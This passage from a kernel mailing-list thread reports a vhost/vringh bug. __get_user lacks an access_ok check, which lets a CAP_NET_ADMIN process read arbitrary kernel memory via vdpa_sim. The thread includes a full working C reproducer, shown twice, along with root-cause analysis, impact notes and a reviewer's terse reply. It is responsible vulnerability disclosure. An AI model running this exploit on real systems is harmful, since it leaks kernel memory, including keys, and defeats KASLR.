>         struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
>         struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
>         ssize_t n = recvmsg(nlsock, &rmsg, 0);
>         if (n < 0) { xp("recvmsg getfamily"); return -1; }
>         struct nlmsghdr *r = (void *)rbuf;
>         if (!NLMSG_OK(r, (size_t)n)) return -1;
>         if (r->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(r); fprintf(stderr, "genl getfamily error %d\n", e->error); return -1; }
>         int hlen = GENL_HDRLEN;
>         struct nlattr *na = (void *)r + NLMSG_HDRLEN + hlen;
>         int rem = (int)(r->nlmsg_len - NLMSG_HDRLEN - hlen);
>         *fam_id = 0;
>         for (; nla_ok_(na, rem); na = nla_next_(na, &rem)) {
>                 if (na->nla_type == CTRL_ATTR_FAMILY_ID) {
>                         *fam_id = *(__u16 *)nla_data_(na);
>                         return 0;
>                 }
>         }
>         return -1;
> }
>
> static int genl_dev_new(__u16 fam, const char *mgmtdev, const char *devname)
> {
>         char buf[1024];
>         struct nlmsghdr *nlh = (void *)buf;
>         struct genlmsghdr *gh;
>         memset(buf, 0, sizeof(buf));
>         nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
>         nlh->nlmsg_type = fam;
>         nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
>         nlh->nlmsg_seq = ++nlseq;
>         gh = NLMSG_DATA(nlh);
>         gh->cmd = VDPA_CMD_DEV_NEW;
>         gh->version = VDPA_GENL_VERSION;
>         if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_MGMTDEV_DEV_NAME, mgmtdev) < 0) return -1;
>         if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname) < 0) return -1;
>         struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
>         struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
>         struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
>         if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg dev_new"); return -1; }
>         char rbuf[4096];
>         struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
>         struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
>         ssize_t n = recvmsg(nlsock, &rmsg, 0);
>         if (n < 0) { xp("recvmsg dev_new"); return -1; }
>         struct nlmsghdr *r = (void *)rbuf;
>         if (!NLMSG_OK(r, (size_t)n)) return -1;
>         if (r->nlmsg_type == NLMSG_ERROR) {
>                 struct nlmsgerr *e = NLMSG_DATA(r);
>                 if (e->error == 0)
>                         return 0;
>                 fprintf(stderr, "dev_new error %d (%s)\n", e->error, strerror(-e->error));
>                 return -1;
>         }
>         return 0;
> }
>
> static int genl_dev_del(__u16 fam, const char *devname)
> {
>         char buf[1024];
>         struct nlmsghdr *nlh = (void *)buf;
>         struct genlmsghdr *gh;
>         memset(buf, 0, sizeof(buf));
>         nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
>         nlh->nlmsg_type = fam;
>         nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
>         nlh->nlmsg_seq = ++nlseq;
>         gh = NLMSG_DATA(nlh);
>         gh->cmd = VDPA_CMD_DEV_DEL;
>         gh->version = VDPA_GENL_VERSION;
>         nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname);
>         struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
>         struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
>         struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
>         sendmsg(nlsock, &msg, 0);
>         char rbuf[4096]; struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
>         struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
>         recvmsg(nlsock, &rmsg, 0);
>         return 0;
> }
>
> static unsigned long ksym(const char *want)
> {
>         FILE *f = fopen("/proc/kallsyms", "r");
>         if (!f) return 0;
>         char line[512];
>         unsigned long a = 0;
>         while (fgets(line, sizeof(line), f)) {
>                 char type; char name[256];
>                 if (sscanf(line, "%lx %c %255s", &a, &type, name) == 3) {
>                         if (strcmp(name, want) == 0) { fclose(f); return a; }
>                 }
>         }
>         fclose(f);
>         return 0;
> }
>
> static int expected_leak(unsigned *out)
> {
>         FILE *f = fopen("/proc/version", "r");
>         if (!f) return -1;
>         char v[256];
>         if (!fgets(v, sizeof(v), f)) { fclose(f); return -1; }
>         fclose(f);
>         int len = (int)strlen(v);
>         if (len < 6) return -1;
>         unsigned m = ((unsigned)(unsigned char)v[4]) | (((unsigned)(unsigned char)v[5]) << 8);
>         *out = m;
>         fprintf(stderr, "[*] /proc version bytes[4,5] = 0x%02x 0x%02x  => expected leak M = 0x%04x (%u)\n",
>                 (unsigned char)v[4], (unsigned char)v[5], m, m);
>         fprintf(stderr, "[*] /proc/version = %.40s\n", v);
>         return 0;
> }
>
> int main(int argc, char **argv)
> {
>         unsigned exp;
>         if (expected_leak(&exp)) die("cannot read /proc/version");
>         unsigned long banner = ksym("linux_banner");
>         fprintf(stderr, "[*] linux_banner @ 0x%lx\n", banner);
>         if (!banner) die("linux_banner not in /proc/kallsyms (need root)");
>
>         nlsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
>         if (nlsock < 0) die("netlink socket");
>         struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
>         if (bind(nlsock, (struct sockaddr *)&sa, sizeof(sa)) < 0) die("netlink bind");
>         __u16 fam;
>         if (genl_resolve_family(VDPA_GENL_NAME, &fam)) die("resolve genl family 'vdpa' (CONFIG_VDPA?)");
>         fprintf(stderr, "[*] genl family 'vdpa' id=%u\n", fam);
>         if (genl_dev_new(fam, "vdpasim_blk", "sim0")) die("dev_new vdpasim_blk (CONFIG_VDPA_SIM_BLOCK?)");
>         fprintf(stderr, "[*] created vdpa device sim0 (vdpasim_blk)\n");
>
>         char path[64]; int vfd = -1;
>         for (int i = 0; i < 50; i++) {
>                 snprintf(path, sizeof(path), "/dev/vhost-vdpa-%d", i);
>                 vfd = open(path, O_RDWR | O_CLOEXEC);
>                 if (vfd >= 0) break;
>         }
>         if (vfd < 0) die("open /dev/vhost-vdpa-*");
>         fprintf(stderr, "[*] opened %s fd=%d\n", path, vfd);
>
>         int callfd = eventfd(0, EFD_CLOEXEC);
>         int kickfd = eventfd(0, EFD_CLOEXEC);
>         if (callfd < 0 || kickfd < 0) die("eventfd");
>
>         if (ioctl(vfd, VHOST_SET_OWNER)) die("VHOST_SET_OWNER");
>
>         __u64 bf = 0;
>         if (ioctl(vfd, VHOST_GET_BACKEND_FEATURES, &bf)) xp("get_backend_features");
>         __u64 setbf = bf | (1ULL << VHOST_BACKEND_F_IOTLB_MSG_V2)
>                        | (1ULL << VHOST_BACKEND_F_IOTLB_BATCH)
>                        | (1ULL << VHOST_BACKEND_F_IOTLB_ASID)
>                        | (1ULL << VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK);
>         if (ioctl(vfd, VHOST_SET_BACKEND_FEATURES, &setbf)) xp("set_backend_features");
>
>         __u64 feat = 0;
>         if (ioctl(vfd, VHOST_GET_FEATURES, &feat)) die("get_features");
>         __u64 ack = 0;
>         ack |= (1ULL << VIRTIO_F_ACCESS_PLATFORM);
>         ack |= (1ULL << VIRTIO_F_VERSION_1);
>         ack |= (1ULL << VIRTIO_F_ANY_LAYOUT);
>         ack &= feat;
>         if (!(ack & (1ULL << VIRTIO_F_ACCESS_PLATFORM))) die("ACCESS_PLATFORM not supported - no use_va?");
>         if (ioctl(vfd, VHOST_SET_FEATURES, &ack)) die("set_features (need ACCESS_PLATFORM)");
>
>         struct vhost_vring_state vs = { .index = 0, .num = 1 };
>         if (ioctl(vfd, VHOST_SET_VRING_NUM, &vs)) die("set_vring_num");
>
>         size_t pg = 4096;
>         void *descbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
>         void *usedbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
>         if (descbuf == MAP_FAILED || usedbuf == MAP_FAILED) die("mmap");
>         memset(descbuf, 0, pg); memset(usedbuf, 0, pg);
>
>         struct vhost_vring_addr va = {0};
>         va.index = 0;
>         va.flags = 0;
>         va.desc_user_addr  = (uintptr_t)descbuf;
>         va.avail_user_addr = (uintptr_t)banner;   /* <-- KERNEL address, the leak source */
>         va.used_user_addr  = (uintptr_t)usedbuf;
>         va.log_guest_addr  = 0;
>         if (ioctl(vfd, VHOST_SET_VRING_ADDR, &va)) die("set_vring_addr (avail=kernel addr rejected?)");
>
>         struct vhost_vring_state base = { .index = 0, .num = 0 };
>         if (ioctl(vfd, VHOST_SET_VRING_BASE, &base)) die("set_vring_base");
>
>         struct vhost_vring_file cf = { .index = 0, .fd = callfd };
>         if (ioctl(vfd, VHOST_SET_VRING_CALL, &cf)) die("set_vring_call");
>         struct vhost_vring_file kf = { .index = 0, .fd = kickfd };
>         if (ioctl(vfd, VHOST_SET_VRING_KICK, &kf)) die("set_vring_kick");
>
>         struct vhost_vring_state en = { .index = 0, .num = 1 };
>         if (ioctl(vfd, VHOST_VDPA_SET_VRING_ENABLE, &en)) die("set_vring_enable");
>
>         __u8 status = VIRTIO_CONFIG_S_ACKNOWLEDGE | VIRTIO_CONFIG_S_DRIVER
>                     | VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER_OK;
>         if (ioctl(vfd, VHOST_VDPA_SET_STATUS, &status)) die("set_status DRIVER_OK");
>
>         uint64_t one = 1;
>         if (write(kickfd, &one, sizeof(one)) != sizeof(one)) die("kick write");
>
>         unsigned leaked = 0; int found = 0;
>         for (int try = 0; try < 20 && !found; try++) {
>                 usleep(100000);
>                 FILE *d = popen("dmesg 2>/dev/null", "r");
>                 if (d) {
>                         char l[512];
>                         while (fgets(l, sizeof(l), d)) {
>                                 char *p = strstr(l, "Guest says index");
>                                 if (p) {
>                                         unsigned idx = 0, numv = 0;
>                                         if (sscanf(p, "Guest says index %u > %u is available",
>                                                    &idx, &numv) >= 1) {
>                                                 leaked = idx; found = 1;
>                                                 fprintf(stderr, "[!!] dmesg: %s", l);
>                                                 break;
>                                         }
>                                 }
>                         }
>                         pclose(d);
>                 }
>         }
>
>         if (!found) {
>                 fprintf(stderr, "[!] no vringh_bad leak line in dmesg; dumping tail:\n");
>                 FILE *d = popen("dmesg 2>/dev/null | tail -40", "r");
>                 if (d) { char l[512]; while (fgets(l, sizeof(l), d)) fputs(l, stderr); pclose(d); }
>                 die("leak not observed (worker may not have run, or use_va/mm_bound not set)");
>         }
>
>         fprintf(stderr, "\n=== RESULT ===\n");
>         fprintf(stderr, "leaked kernel u16 @ linux_banner+4 = 0x%04x (%u)\n", leaked, leaked);
>         fprintf(stderr, "expected (/proc/version[4,5])     = 0x%04x (%u)\n", exp, exp);
>         if (leaked == exp) {
>                 fprintf(stderr, "MATCH: __get_user read 2 bytes at kernel addr 0x%lx via vringh.c:1216\n", banner + 4);
>                 fprintf(stderr, "PROVEN: arbitrary-kernel-address 2-byte read (no access_ok) on unmodified kernel\n");
>         } else {
>                 fprintf(stderr, "MISMATCH - investigate\n");
>         }
>
>         status = 0; ioctl(vfd, VHOST_VDPA_SET_STATUS, &status);
>         close(vfd); close(callfd); close(kickfd);
>         genl_dev_del(fam, "sim0");
>         return (leaked == exp) ? 0 : 2;
> }
> ```
>
> Captured dmesg from the 7.2.10 run (the disclosed leaked value):
> ```
> [    1.882938] vringh:
> [    1.882944] Guest says index 8312 > 1 is available
> ```
>
> 7. Impact
> Privileged kernel memory information leak: a CAP_NET_ADMIN controller can
> read 2 bytes at an arbitrary kernel virtual address per vring kick via
> __get_user() with no access_ok(), and the value is disclosed to dmesg via
> vringh_bad(). The read is repeatable, so the whole kernel address space
> can be scanned 2 bytes at a time (kernel .text/.data, structure contents,
> in-memory keys). CAP_NET_ADMIN should not grant arbitrary kernel-memory
> reads. No memory corruption. KASLR does not prevent it (only the address
> is randomized, the leaked content is constant). Only the use_va mode is
> affected (the non-use_va path goes through GUP, which has an equivalent
> check_range guard).
>
> Please let me know if you need more detail.
>

Can you send a fix patch? It can be AI generated too.

Thanks!

Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[David Laight]

On Thu, 15 Oct 2026 15:23:45 +0800
Haoran Wang <haoranwangsec@gmail.com> wrote:

> I'd like to report an issue in drivers/vhost/vringh.c:1216 (function
> getu16_iotlb), found via static analysis of Linux 7.0.11 and verified
> against the 7.2.10 source tree. I have reproduced the leak on an
> unmodified 7.2.10 kernel.
> 
> 1. Summary
> getu16_iotlb() calls __get_user(tmp, (__virtio16 __user *)iov_base)
> without an access_ok() check. iov_base originates from iotlb_translate(),
> which only performs an IOTLB interval lookup (vhost_iotlb_itree_first) and
> does not call access_ok(). In the vdpa_sim default passthrough mode the
> entire address space is identity-mapped ([0, ULONG_MAX] -> 0), and
> vdpasim_set_vq_address() stores the controller-supplied vring address
> verbatim with no validation. A controller with CAP_NET_ADMIN can therefore
> set a vring avail_user_addr to a kernel address. On a vq kick the vdpa_sim
> worker reads 2 bytes from that kernel address via __get_user (no
> access_ok). Each vring iteration reads 2 bytes and the value is
> repeatable, yielding an arbitrary-kernel-address 2-byte read. get_user()
> would have rejected a kernel address via access_ok(), while__get_user() does
> not.

Can 'YOU' write that in proper English?
That is just horrid twaddle.

David

> 
> 2. Vulnerable code
> - File: drivers/vhost/vringh.c:1216 (unchanged in 7.2.10)
> - Function: getu16_iotlb
> - Misused API: __get_user
> 
> ```c
> /* drivers/vhost/vringh.c:1216 - getu16_iotlb (IOTLB read helper, per vring iteration) */
> if (vrh->use_va) {
>         ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base); /* no access_ok */
> }
> 
> /* iov_base comes from iotlb_translate() (IOTLB lookup only, no access_ok) */
> /* drivers/vdpa/vdpa_sim/vdpa_sim.c:157-159 - passthrough identity-maps everything */
> vhost_iotlb_add_range(&iommu, 0, ULONG_MAX, 0, VHOST_MAP_RW);
> /* vdpa_sim.c:297 - set_vq_address stores the controller u64 verbatim, no validation */
> vq->desc_addr = desc_area;   /* controller-controlled = kernel address */
> ```
> 
> 3. Root cause
> get_user() = access_ok() + __get_user(). __get_user() skips access_ok()
> (it expands to __get_user_nocheck, which performs no check_range, whereas
> get_user/put_user expand to the check_range-bearing variants that reject
> kernel addresses). In the vhost-vdpa + vdpa_sim use_va path, the vring
> addresses supplied by the controller (driver_addr/desc_addr) flow through
> iotlb_translate(), which only does a vhost_iotlb_itree_first() interval
> lookup. vdpa_sim's default passthrough IOTLB identity-maps the whole
> address space, so any address passes the lookup. vdpasim_set_vq_address()
> stores the controller's u64 with no user/kernel validation, and
> vhost_vring_set_addr()'s access_ok is skipped in the vhost-vdpa path
> because vq->private_data is never set. Consequently __get_user
> dereferences an attacker-chosen kernel virtual address: the vdpa_sim
> worker runs under kthread_use_mm() in the controller's mm with SMAP
> disabled (STAC), and kernel addresses are mapped there, so 2 bytes of
> kernel memory are read. With num=1, __vringh_get_head() sees head (the
> leaked u16) >= 1 and calls vringh_bad(), which printk's the leaked value
> to dmesg, making the leak externally observable.
> 
> 4. Affected versions
> Present in: Linux 7.0.11. 7.2.10: still present, reproduced on 7.2.10 kernel.
> 
> 5. Trigger / Preconditions
> CAP_NET_ADMIN + vdpa_sim (CONFIG_VDPA_SIM / VDPA_SIM_BLOCK) + use_va mode.
> The controller creates a vdpasim device, binds its mm (VHOST_SET_OWNER,
> enabling use_va), negotiates VIRTIO_F_ACCESS_PLATFORM, sets the vring
> avail_user_addr to a kernel address, enables the vq, sets DRIVER_OK, and
> kicks the vq. The worker then reads 2 bytes at the chosen kernel address.
> 
> 6. Proof of Concept
> Reproduced on Linux 7.2.10 tarball (config-only: CONFIG_KASAN=y, VHOST_VDPA=y, 
> VDPA_SIM=y, VDPA_SIM_BLOCK=y). The trigger sets avail_user_addr = &linux_banner 
> and reads avail->ring[0] (at banner+4). With num=1, the leaked u16 is printk'd 
> by vringh_bad().
> 
> Concrete reproduced evidence (7.2.10):
> - dmesg: "vringh:" then "Guest says index 8312 > 1 is available"
> - leaked value = 8312 = 0x2078 = linux_banner[4]='x'(0x78) |
>   (linux_banner[5]=' '(0x20) << 8)
> - The expected value is independently computable from /proc/version (which
>   prints the same linux_banner): proc_version[4] | (proc_version[5] << 8)
>   = 0x78 | 0x2000 = 0x2078 = 8312. The reproduced value MATCHES.
> - Across 3 boots the banner *address* changed under KASLR
>   (0xffffffff8b517280 / 0xffffffffa3f17280 / 0xffffffff90717280; the
>   trigger resolves it at runtime via /proc/kallsyms), while the leaked
>   *content* was 8312 every time. KASLR only randomizes the address, the 2
>   bytes read there are constant.
> 
> So a CAP_NET_ADMIN controller can read 2 bytes at an arbitrary kernel
> virtual address by setting a vring avail_user_addr to that address and
> kicking the vdpa_sim worker. The value is disclosed to dmesg via
> vringh_bad(). This is an arbitrary-kernel-address 2-byte read on an
> 7.2.10 kernel. 
> 
> Reproducer (vringh_leak.c) -- runs in the QEMU guest as root
> (CAP_NET_ADMIN):
> 
> ```c
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <errno.h>
> #include <stdint.h>
> #include <sys/ioctl.h>
> #include <sys/socket.h>
> #include <sys/mman.h>
> #include <linux/netlink.h>
> #include <linux/genetlink.h>
> #include <linux/vhost.h>
> #include <linux/vdpa.h>
> #include <sys/eventfd.h>
> 
> #ifndef VHOST_VDPA
> #define VHOST_VDPA 0xAF
> #endif
> 
> #ifndef VHOST_BACKEND_F_IOTLB_MSG_V2
> #define VHOST_BACKEND_F_IOTLB_MSG_V2 0x1
> #endif
> #ifndef VHOST_BACKEND_F_IOTLB_BATCH
> #define VHOST_BACKEND_F_IOTLB_BATCH 0x2
> #endif
> #ifndef VHOST_BACKEND_F_IOTLB_ASID
> #define VHOST_BACKEND_F_IOTLB_ASID 0x3
> #endif
> #ifndef VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK
> #define VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK 0x6
> #endif
> 
> static inline int nla_ok_(const struct nlattr *nla, int remaining)
> {
> 	return remaining >= (int)sizeof(struct nlattr) &&
> 	       nla->nla_len >= (int)sizeof(struct nlattr) &&
> 	       nla->nla_len <= remaining;
> }
> static inline struct nlattr *nla_next_(const struct nlattr *nla, int *remaining)
> {
> 	int tot = (int)NLA_ALIGN(nla->nla_len);
> 	*remaining -= tot;
> 	return (struct nlattr *)((char *)nla + tot);
> }
> static inline void *nla_data_(const struct nlattr *nla)
> {
> 	return (char *)nla + NLA_HDRLEN;
> }
> 
> #ifndef VDPA_GENL_NAME
> #define VDPA_GENL_NAME "vdpa"
> #endif
> #ifndef VDPA_GENL_VERSION
> #define VDPA_GENL_VERSION 1
> #endif
> #ifndef VDPA_CMD_DEV_NEW
> #define VDPA_CMD_DEV_NEW 3
> #endif
> #ifndef VDPA_CMD_DEV_DEL
> #define VDPA_CMD_DEV_DEL 4
> #endif
> #ifndef VDPA_ATTR_MGMTDEV_DEV_NAME
> #define VDPA_ATTR_MGMTDEV_DEV_NAME 2
> #endif
> #ifndef VDPA_ATTR_DEV_NAME
> #define VDPA_ATTR_DEV_NAME 4
> #endif
> 
> #define die(fmt, ...) do { fprintf(stderr, "FATAL: " fmt "\n", ##__VA_ARGS__); exit(1); } while (0)
> #define xp(fmt, ...) do { int _e = errno; fprintf(stderr, "ERR " fmt " (%s)\n", ##__VA_ARGS__, strerror(_e)); } while (0)
> 
> static int nlsock;
> static __u32 nlseq = 0;
> 
> static int nla_put_str(struct nlmsghdr *nlh, int len, int type, const char *s)
> {
> 	struct nlattr { __u16 nla_len; __u16 nla_type; } *nla;
> 	int sl = (int)strlen(s) + 1;
> 	int pl = NLA_HDRLEN + sl;
> 	int pad = NLA_ALIGN(sl) - sl;
> 	if (NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl) > (size_t)len) return -1;
> 	nla = (void *)nlh + NLMSG_ALIGN(nlh->nlmsg_len);
> 	nla->nla_len = (__u16)pl;
> 	nla->nla_type = (__u16)type;
> 	memcpy((char *)nla + NLA_HDRLEN, s, sl);
> 	nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl);
> 	(void)pad;
> 	return 0;
> }
> 
> static int genl_resolve_family(const char *name, __u16 *fam_id)
> {
> 	char buf[1024];
> 	struct nlmsghdr *nlh = (void *)buf;
> 	struct genlmsghdr *gh;
> 	memset(buf, 0, sizeof(buf));
> 	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
> 	nlh->nlmsg_type = GENL_ID_CTRL;
> 	nlh->nlmsg_flags = NLM_F_REQUEST;
> 	nlh->nlmsg_seq = ++nlseq;
> 	gh = NLMSG_DATA(nlh);
> 	gh->cmd = CTRL_CMD_GETFAMILY;
> 	gh->version = 1;
> 	nla_put_str(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, name);
> 	struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
> 	struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
> 	struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
> 	if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg getfamily"); return -1; }
> 	char rbuf[4096];
> 	struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
> 	struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
> 	ssize_t n = recvmsg(nlsock, &rmsg, 0);
> 	if (n < 0) { xp("recvmsg getfamily"); return -1; }
> 	struct nlmsghdr *r = (void *)rbuf;
> 	if (!NLMSG_OK(r, (size_t)n)) return -1;
> 	if (r->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(r); fprintf(stderr, "genl getfamily error %d\n", e->error); return -1; }
> 	int hlen = GENL_HDRLEN;
> 	struct nlattr *na = (void *)r + NLMSG_HDRLEN + hlen;
> 	int rem = (int)(r->nlmsg_len - NLMSG_HDRLEN - hlen);
> 	*fam_id = 0;
> 	for (; nla_ok_(na, rem); na = nla_next_(na, &rem)) {
> 		if (na->nla_type == CTRL_ATTR_FAMILY_ID) {
> 			*fam_id = *(__u16 *)nla_data_(na);
> 			return 0;
> 		}
> 	}
> 	return -1;
> }
> 
> static int genl_dev_new(__u16 fam, const char *mgmtdev, const char *devname)
> {
> 	char buf[1024];
> 	struct nlmsghdr *nlh = (void *)buf;
> 	struct genlmsghdr *gh;
> 	memset(buf, 0, sizeof(buf));
> 	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
> 	nlh->nlmsg_type = fam;
> 	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
> 	nlh->nlmsg_seq = ++nlseq;
> 	gh = NLMSG_DATA(nlh);
> 	gh->cmd = VDPA_CMD_DEV_NEW;
> 	gh->version = VDPA_GENL_VERSION;
> 	if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_MGMTDEV_DEV_NAME, mgmtdev) < 0) return -1;
> 	if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname) < 0) return -1;
> 	struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
> 	struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
> 	struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
> 	if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg dev_new"); return -1; }
> 	char rbuf[4096];
> 	struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
> 	struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
> 	ssize_t n = recvmsg(nlsock, &rmsg, 0);
> 	if (n < 0) { xp("recvmsg dev_new"); return -1; }
> 	struct nlmsghdr *r = (void *)rbuf;
> 	if (!NLMSG_OK(r, (size_t)n)) return -1;
> 	if (r->nlmsg_type == NLMSG_ERROR) {
> 		struct nlmsgerr *e = NLMSG_DATA(r);
> 		if (e->error == 0)
> 			return 0;
> 		fprintf(stderr, "dev_new error %d (%s)\n", e->error, strerror(-e->error));
> 		return -1;
> 	}
> 	return 0;
> }
> 
> static int genl_dev_del(__u16 fam, const char *devname)
> {
> 	char buf[1024];
> 	struct nlmsghdr *nlh = (void *)buf;
> 	struct genlmsghdr *gh;
> 	memset(buf, 0, sizeof(buf));
> 	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
> 	nlh->nlmsg_type = fam;
> 	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
> 	nlh->nlmsg_seq = ++nlseq;
> 	gh = NLMSG_DATA(nlh);
> 	gh->cmd = VDPA_CMD_DEV_DEL;
> 	gh->version = VDPA_GENL_VERSION;
> 	nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname);
> 	struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
> 	struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
> 	struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
> 	sendmsg(nlsock, &msg, 0);
> 	char rbuf[4096]; struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
> 	struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
> 	recvmsg(nlsock, &rmsg, 0);
> 	return 0;
> }
> 
> static unsigned long ksym(const char *want)
> {
> 	FILE *f = fopen("/proc/kallsyms", "r");
> 	if (!f) return 0;
> 	char line[512];
> 	unsigned long a = 0;
> 	while (fgets(line, sizeof(line), f)) {
> 		char type; char name[256];
> 		if (sscanf(line, "%lx %c %255s", &a, &type, name) == 3) {
> 			if (strcmp(name, want) == 0) { fclose(f); return a; }
> 		}
> 	}
> 	fclose(f);
> 	return 0;
> }
> 
> static int expected_leak(unsigned *out)
> {
> 	FILE *f = fopen("/proc/version", "r");
> 	if (!f) return -1;
> 	char v[256];
> 	if (!fgets(v, sizeof(v), f)) { fclose(f); return -1; }
> 	fclose(f);
> 	int len = (int)strlen(v);
> 	if (len < 6) return -1;
> 	unsigned m = ((unsigned)(unsigned char)v[4]) | (((unsigned)(unsigned char)v[5]) << 8);
> 	*out = m;
> 	fprintf(stderr, "[*] /proc version bytes[4,5] = 0x%02x 0x%02x  => expected leak M = 0x%04x (%u)\n",
> 		(unsigned char)v[4], (unsigned char)v[5], m, m);
> 	fprintf(stderr, "[*] /proc/version = %.40s\n", v);
> 	return 0;
> }
> 
> int main(int argc, char **argv)
> {
> 	unsigned exp;
> 	if (expected_leak(&exp)) die("cannot read /proc/version");
> 	unsigned long banner = ksym("linux_banner");
> 	fprintf(stderr, "[*] linux_banner @ 0x%lx\n", banner);
> 	if (!banner) die("linux_banner not in /proc/kallsyms (need root)");
> 
> 	nlsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
> 	if (nlsock < 0) die("netlink socket");
> 	struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
> 	if (bind(nlsock, (struct sockaddr *)&sa, sizeof(sa)) < 0) die("netlink bind");
> 	__u16 fam;
> 	if (genl_resolve_family(VDPA_GENL_NAME, &fam)) die("resolve genl family 'vdpa' (CONFIG_VDPA?)");
> 	fprintf(stderr, "[*] genl family 'vdpa' id=%u\n", fam);
> 	if (genl_dev_new(fam, "vdpasim_blk", "sim0")) die("dev_new vdpasim_blk (CONFIG_VDPA_SIM_BLOCK?)");
> 	fprintf(stderr, "[*] created vdpa device sim0 (vdpasim_blk)\n");
> 
> 	char path[64]; int vfd = -1;
> 	for (int i = 0; i < 50; i++) {
> 		snprintf(path, sizeof(path), "/dev/vhost-vdpa-%d", i);
> 		vfd = open(path, O_RDWR | O_CLOEXEC);
> 		if (vfd >= 0) break;
> 	}
> 	if (vfd < 0) die("open /dev/vhost-vdpa-*");
> 	fprintf(stderr, "[*] opened %s fd=%d\n", path, vfd);
> 
> 	int callfd = eventfd(0, EFD_CLOEXEC);
> 	int kickfd = eventfd(0, EFD_CLOEXEC);
> 	if (callfd < 0 || kickfd < 0) die("eventfd");
> 
> 	if (ioctl(vfd, VHOST_SET_OWNER)) die("VHOST_SET_OWNER");
> 
> 	__u64 bf = 0;
> 	if (ioctl(vfd, VHOST_GET_BACKEND_FEATURES, &bf)) xp("get_backend_features");
> 	__u64 setbf = bf | (1ULL << VHOST_BACKEND_F_IOTLB_MSG_V2)
> 	               | (1ULL << VHOST_BACKEND_F_IOTLB_BATCH)
> 	               | (1ULL << VHOST_BACKEND_F_IOTLB_ASID)
> 	               | (1ULL << VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK);
> 	if (ioctl(vfd, VHOST_SET_BACKEND_FEATURES, &setbf)) xp("set_backend_features");
> 
> 	__u64 feat = 0;
> 	if (ioctl(vfd, VHOST_GET_FEATURES, &feat)) die("get_features");
